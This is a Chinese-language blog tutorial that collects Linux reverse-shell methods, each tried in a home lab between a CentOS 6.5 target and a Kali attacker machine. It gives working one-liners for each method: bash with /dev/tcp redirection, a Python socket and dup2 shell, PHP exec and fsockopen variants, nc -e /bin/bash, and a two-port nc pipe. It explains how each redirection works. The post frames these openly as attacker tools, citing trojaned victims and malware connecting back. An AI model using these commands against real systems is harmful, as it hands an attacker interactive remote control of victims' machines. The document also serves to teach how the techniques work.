基于Linux操作系统的几种反弹Shell方法的总结

什么是反弹shell

所谓的反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上

为什么要反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

实验环境

centos 6.5 IP:192.168.27.129
kali IP:192.168.27.128

方法一——bash反弹

反弹shell命令:bash -i >& /dev/tcp/ip/port 0>&1
首先,使用nc在kali上监听端口:nc -nvlp 6666
基于Linux操作系统的几种反弹Shell方法的总结_第1张图片
然后在CentOS6.5下输入:
bash -i >& /dev/tcp/192.168.27.128/6666 0>&1
在这里插入图片描述
可以看到shell成功反弹到了kali上面,可以执行命令:
基于Linux操作系统的几种反弹Shell方法的总结_第2张图片
在解释这条反弹shell的命令原理之前,首先需要掌握几个点。

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

0 - stdin 代表标准输入,使用<<<
1 - stdout 代表标准输出,使用>>>
2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的:

>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

理解了上面这些知识,下面来解释一下这一条反弹shell的命令首先,bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。

基于Linux操作系统的几种反弹Shell方法的总结_第3张图片
在本地输入设备(centos 6.5键盘上)输入命令,在本地看不到输入的内容,但是键盘输入的命令已经被输出到了远程(kali),然后命令的执行结果或者错误也会被传到远程,查看远程(kali),可以看到标准输出和标准错误输出都重定向到了远程:
基于Linux操作系统的几种反弹Shell方法的总结_第4张图片
但是,kali只能查看内容,不能输入任何命令到centos
基于Linux操作系统的几种反弹Shell方法的总结_第5张图片
注意:bash退出方法,输入exit

下面在该命令后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了:
在这里插入图片描述
基于Linux操作系统的几种反弹Shell方法的总结_第6张图片
那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程:
基于Linux操作系统的几种反弹Shell方法的总结_第7张图片
基于Linux操作系统的几种反弹Shell方法的总结_第8张图片
为了更形象的理解,下面给出了整个过程的数据流向,首先是本地的输入输出流向:
基于Linux操作系统的几种反弹Shell方法的总结_第9张图片
执行bash -i >& /dev/tcp/ip/port后
基于Linux操作系统的几种反弹Shell方法的总结_第10张图片
执行bash -i >& /dev/tcp/ip/port 0>&1或者bash -i >& /dev/tcp/ip/port 0>&2后:
基于Linux操作系统的几种反弹Shell方法的总结_第11张图片

方法二——使用python反弹

反弹shell命令如下:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

首先,使用nc在kali上监听端口:
在这里插入图片描述
在CentOS下使用python去反向连接,输入:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.27.128',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

注意:python -c参数,支持执行单行命令/脚本。
基于Linux操作系统的几种反弹Shell方法的总结_第12张图片
可以看到kali上成功反弹到了shell,可以执行一些命令:
基于Linux操作系统的几种反弹Shell方法的总结_第13张图片
在已经深入理解了第一种方法的原理后,下面来解释一下python反弹shell的原理。

首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为3。
在这里插入图片描述
于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

方法三——使用PHP反弹

php:exec函数

使用php反弹shell,方法如下 。
首先最简单的一个办法,就是使用php的exec函数执行方法1反弹shell的命令:
php -r ‘exec("/bin/bash -i >& /dev/tcp/192.168.27.128/9999 0>&1");’
在这里插入图片描述
注意:php -r 命令行直接运行PHP代码
基于Linux操作系统的几种反弹Shell方法的总结_第14张图片

php:fsockopen

还有一个是之前乌云知识库上的一个姿势,使用php的fsockopen去连接远程
php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/bash -i <&3 >&3 2>&3");’
在这里插入图片描述
在这里插入图片描述
这个姿势看起来有一些难以理解,尤其是还出现了<&这个符号,当然如果把&看着是取地址符或者是引用,那还是可以理解的,为了更方便的理解,我在这将这条命令稍微修改了一下,类似于前面的第二种方法。

有了之前的基础,我们知道3代表的是使用fsockopen函数建立socket返回的文件描述符,这里将标准输入,标准输出和标准错误输出都重定向到了远程

在CentOS上反向连接,输入
php -r ‘$sock=fsockopen(“192.168.27.128”,9999);exec("/bin/bash -i 0>&3 1>&3 2>&3");’
在这里插入图片描述
基于Linux操作系统的几种反弹Shell方法的总结_第15张图片
注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。

方法四——靶机nc反弹shell

使用nc反弹shell,需要的条件是被反弹shell的机器安装了nc,CentOS6.5安装nc方法如下:

1、下载安装
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local
mv netcat-0.7.1 netcat
cd /usr/local/netcat
./configure
make && make install
2、配置
vim /etc/profile
添加以下内容:
# set  netcat path
export NETCAT_HOME=/usr/local/netcat
export PATH=$PATH:$NETCAT_HOME/bin
保存,退出,并使配置生效:
source /etc/profile
3、测试
nc -help成功

注意:
安装过程如果提示基于Linux操作系统的几种反弹Shell方法的总结_第16张图片
则输入如下命令
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download --no-check-certificate
提示
在这里插入图片描述
则输入
yum install gcc-c++ -y
之后,重新执行
[root@localhost netcat]# ./configure
[root@localhost netcat]# make && make install

测试nc是否成功
基于Linux操作系统的几种反弹Shell方法的总结_第17张图片
之后在kali上使用nc监听端口
nc -nvlp 7777
在这里插入图片描述
在CentOS上使用nc去反向连接,命令如下:
nc -e /bin/bash 192.168.27.128 7777
在这里插入图片描述
注意:nc -e prog 程序重定向,一旦连接,就执行 [危险!!]
这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。
基于Linux操作系统的几种反弹Shell方法的总结_第18张图片
注意:之前使用nc监听端口反弹shell时都会有一个警告:Warning: forward host lookup failed for bogon: Unknown host,根据nc帮助文档的提示加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析。

如果nc不支持-e参数的话,可以利用到linux中的管道符,首先在kali上开启监听:
基于Linux操作系统的几种反弹Shell方法的总结_第19张图片
之后在CentOS上使用nc去反向链接:
nc 192.168.27.128 6666|/bin/bash|nc 192.168.27.128 7777
在这里插入图片描述
shell反弹成功
基于Linux操作系统的几种反弹Shell方法的总结_第20张图片
在6666上执行命令7777上返回执行结果
基于Linux操作系统的几种反弹Shell方法的总结_第21张图片
这里通过在kali上监听两个端口,然后在使用CentOS进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的6666端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的7777端口。
基于Linux操作系统的几种反弹Shell方法的总结_第22张图片

你可能感兴趣的:(提权拿shell)